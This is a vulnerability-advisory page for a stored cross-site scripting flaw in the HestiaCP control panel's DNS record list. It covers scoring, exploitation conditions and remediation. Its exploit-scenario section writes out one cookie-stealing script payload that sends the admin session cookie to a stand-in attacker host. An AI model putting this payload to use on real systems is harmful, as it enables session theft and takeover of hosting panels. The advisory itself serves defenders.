Skip to main content

HestiaCP EUVDEUVD-2025-210453

| CVE-2025-30008 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-10 VulnCheck GHSA-w2cw-hx5v-f37r
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain low-privilege HestiaCP tenant credentials
  2. Delivery
    Create DNS record with double-quote-escaped XSS payload in value field
  3. Exploit
    Payload persists in HestiaCP data store
  4. Install
    Administrator loads DNS record list page
  5. C2
    Payload executes in admin browser session
  6. Execute
    Exfiltrate admin session token to attacker-controlled endpoint
  7. Impact
    Authenticate as admin and take full panel control

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold a valid, authenticated HestiaCP account with permission to create or modify DNS records - this is typically a low-privilege hosting tenant account, not an unauthenticated path. The CVSS 4.0 vector PR:L confirms low-privilege authentication is required. A second prerequisite (UI:P) is that the victim - an administrator or any other panel user - must passively view the DNS record list page (list_dns_rec.php) after the payload is stored; no active interaction with the malicious record beyond page load is required. Limiting factors: no unauthenticated exploitation path exists; the attacker must have legitimate panel access; impact is scoped to the HestiaCP web panel session context and does not directly compromise the underlying server OS; and the attack requires a triggering page view by the victim, which may be delayed or may not occur if administrators do not routinely browse DNS records.

Impact

The CVSS 4.0 score of 5.1 (Medium) with vector AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N accurately captures the attack profile: network-reachable, low complexity, low-privilege attacker, passive victim interaction required, with impact confined to the subsequent system (the victim's browser session) rather than the HestiaCP server itself. The most significant real-world risk is the privilege escalation path: a low-privilege tenant can implant a persistent payload that executes in an administrator's browser, potentially enabling session cookie theft and full administrative takeover of the control panel. No KEV listing and no confirmed public POC means this is not under known active exploitation, which is consistent with the lower EPSS posture typically associated with stored XSS in niche panels. The stored nature elevates real-world risk above what the numeric score suggests, since the payload does not require active attacker presence after initial injection. Risk is bounded by HestiaCP's deployment footprint, which is narrower than mainstream enterprise panels.

Exploit ScenarioDerived

An authenticated low-privilege HestiaCP tenant creates a DNS record whose value field contains a payload such as "><script>fetch('https://attacker.example/log?c='+document.cookie)</script>, which HestiaCP stores without sanitization. When an administrator next navigates to the DNS records list page, the payload executes in their browser, exfiltrating the admin's session token to the attacker's server. With the stolen session, the attacker can authenticate as the administrator and take full control of the HestiaCP panel. No public POC has been identified, but exploitation requires only standard DNS record creation access and is low complexity.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 10, 2026

Stored cross-site scripting in HestiaCP's DNS record management interface (all versions before 1.9.5) enables authenticated low-privilege users to execute arbitrary JavaScript in the browsers of any panel user who views the DNS record list, including administrators. The flaw in list_dns_rec.php allows injecting a script payload via a crafted DNS record value that breaks out of the data-sort-value HTML attribute due to missing htmlspecialchars() encoding - creating a persistent, privilege-escalating attack path from tenant-level access to admin session compromise. No public exploit or CISA KEV listing has been identified at time of analysis; vendor-released patch (v1.9.5) is available.

RemediationAI

Upgrade HestiaCP to version 1.9.5 or later, which resolves the missing htmlspecialchars() encoding in list_dns_rec.php. The release is available at https://github.com/hestiacp/hestiacp/releases/tag/1.9.5, with the specific code fix in commit 07dda18ef0087ea981ff84d4d5757774cf2124b0 (PR #5196). Prior to patching, the most effective compensating control is to restrict DNS record creation and modification to trusted administrator accounts only, using HestiaCP's built-in role and permission controls; this eliminates the attack surface entirely but removes self-service DNS management for tenants. A secondary control is to audit existing DNS records for anomalous values containing HTML special characters (double-quotes, angle brackets, script keywords), which can identify already-planted payloads. No workaround short of access restriction fully mitigates the flaw in unpatched versions.

Affected VersionsENISA

hestiacp 0 <1.9.5

Affected Packages

euvd hestiacp fix: 1.9.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

HestiaCP is an open-source PHP-based web hosting control panel. The vulnerable component, list_dns_rec.php, renders DNS record values directly into the data-sort-value HTML attribute of list elements without applying PHP's htmlspecialchars() sanitization function. CWE-79 (Improper Neutralization of Input During Web Page Generation) covers this exact root cause class: unsanitized user-controlled data inserted into an HTML attribute context allows injection of a closing quote followed by arbitrary event handlers or script tags. The stored nature of the flaw means the payload persists in the application's data layer until the record is deleted or the system is patched, increasing dwell time compared to reflected XSS. CPE cpe:2.3:a:hestiacp:hestiacp:*:*:*:*:*:*:*:* confirms all HestiaCP versions prior to 1.9.5 are in scope.

Know when Hestiacp gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Low-privilege authentication required (PR:L), admin must view DNS list (UI:R), stored XSS changes scope to victim browser (S:C); server itself has no direct C/I/A impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

HestiaCP before 1.9.5 contains a stored cross-site scripting vulnerability that allows authenticated low-privilege users to inject arbitrary HTML by creating a DNS record with a double-quote followed by a script payload in the value field. The application fails to apply htmlspecialchars() encoding to the DNS record value field rendered into the data-sort-value HTML attribute in list_dns_rec.php, allowing the payload to execute in the browser of any user who views the DNS record list, including administrators.

Threat Intelligence Overview

EPSS Score
0.2%
Top 92% exploitable
Prevalence
Low
open-source hosting panel, smaller footprint than cPanel or Plesk
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2021-3797 CRITICAL POC
9.8 Sep 15

hestiacp is vulnerable to Use of Wrong Operator in String Comparison. Rated critical severity (CVSS 9.8), this vulnerabi

CVE-2022-2636 HIGH POC
8.8 Aug 05

Improper Control of Generation of Code ('Code Injection') in GitHub repository hestiacp/hestiacp prior to 1.6.6. Rated h

CVE-2022-2550 HIGH POC
8.8 Jul 27

OS Command Injection in GitHub repository hestiacp/hestiacp prior to 1.6.5. Rated high severity (CVSS 8.8), this vulnera

CVE-2022-1509 HIGH POC
8.8 Apr 28

Command Injection Vulnerability in GitHub repository hestiacp/hestiacp prior to 1.5.12. Rated high severity (CVSS 8.8),

CVE-2026-43634 HIGH POC
8.7 May 19

Authentication security bypass in HestiaCP 1.2.0 through 1.9.4 allows unauthenticated remote attackers to spoof their so

CVE-2023-5839 HIGH POC
7.8 Oct 29

Privilege Chaining in GitHub repository hestiacp/hestiacp prior to 1.8.9. Rated high severity (CVSS 7.8), this vulnerabi

CVE-2022-2626 HIGH POC
7.2 Aug 05

Incorrect Privilege Assignment in GitHub repository hestiacp/hestiacp prior to 1.6.6. Rated high severity (CVSS 7.2), th

CVE-2020-10966 MEDIUM POC
6.5 Mar 25

In the Password Reset Module in VESTA Control Panel through 0.9.8-25 and Hestia Control Panel before 1.1.1, Host header

CVE-2023-5084 MEDIUM POC
6.1 Sep 20

Cross-site Scripting (XSS) - Reflected in GitHub repository hestiacp/hestiacp prior to 1.8.8. Rated medium severity (CVS

CVE-2023-3479 MEDIUM POC
6.1 Jun 30

Cross-site Scripting (XSS) - Reflected in GitHub repository hestiacp/hestiacp prior to 1.7.8. Rated medium severity (CVS

CVE-2022-0986 MEDIUM POC
6.1 Mar 16

Reflected Cross-site Scripting (XSS) Vulnerability in GitHub repository hestiacp/hestiacp prior to 1.5.11. Rated medium

CVE-2022-0752 MEDIUM POC
6.1 Mar 04

Cross-site Scripting (XSS) - Generic in GitHub repository hestiacp/hestiacp prior to 1.5.9. Rated medium severity (CVSS

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy